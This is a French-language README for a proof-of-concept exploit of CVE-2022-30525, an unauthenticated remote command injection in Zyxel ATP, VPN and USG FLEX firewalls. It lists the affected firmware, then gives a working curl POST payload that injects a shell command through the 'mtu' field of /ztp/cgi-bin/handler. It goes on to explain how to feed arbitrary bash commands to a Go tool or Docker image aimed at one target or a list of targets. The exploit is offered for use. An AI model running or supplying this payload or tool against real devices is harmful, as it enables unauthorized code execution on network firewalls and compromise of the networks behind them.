
Preuve de concept pour CVE-2022-30525 permettant une injection de commande à distance non authentifiée sur les pare-feu Zyxel via des requêtes HTTP POST vers le point de terminaison /ztp/cgi-bin/handler.
Rapid7 a découvert et signalé une vulnérabilité affectant les pare-feux Zyxel prenant en charge le Zero Touch Provisioning (ZTP), ce qui inclut les séries ATP, VPN et USG FLEX (y compris les USG20-VPN et USG20W-VPN). La vulnérabilité, identifiée sous le nom CVE-2022-30525, permet à un attaquant distant non authentifié d'exécuter du code arbitraire en tant qu'utilisateur nobody sur l'appareil concerné.
Le tableau suivant contient les modèles et versions de firmware concernés.
Modèle concerné USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1
La série VPN, qui prend également en charge ZTP, n'est pas vulnérable car elle ne prend pas en charge la fonctionnalité requise.
Les modèles concernés sont vulnérables à une injection de commandes distante non authentifiée via l'interface HTTP administrative. Les commandes sont exécutées en tant qu'utilisateur nobody. Cette vulnérabilité est exploitée via l'URI /ztp/cgi-bin/handler.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
Un fichier cmds doit être créé dans lequel vous pouvez ajouter des commandes à exécuter via le programme au format suivant :
bash -c "commande#1 && commande#2 && etc."
Par exemple :
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [ou <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
Où INPUT_FILE est une URL cible ou un fichier contenant une liste de cibles.
Vous êtes libre de me contacter via Keybase pour tout détail.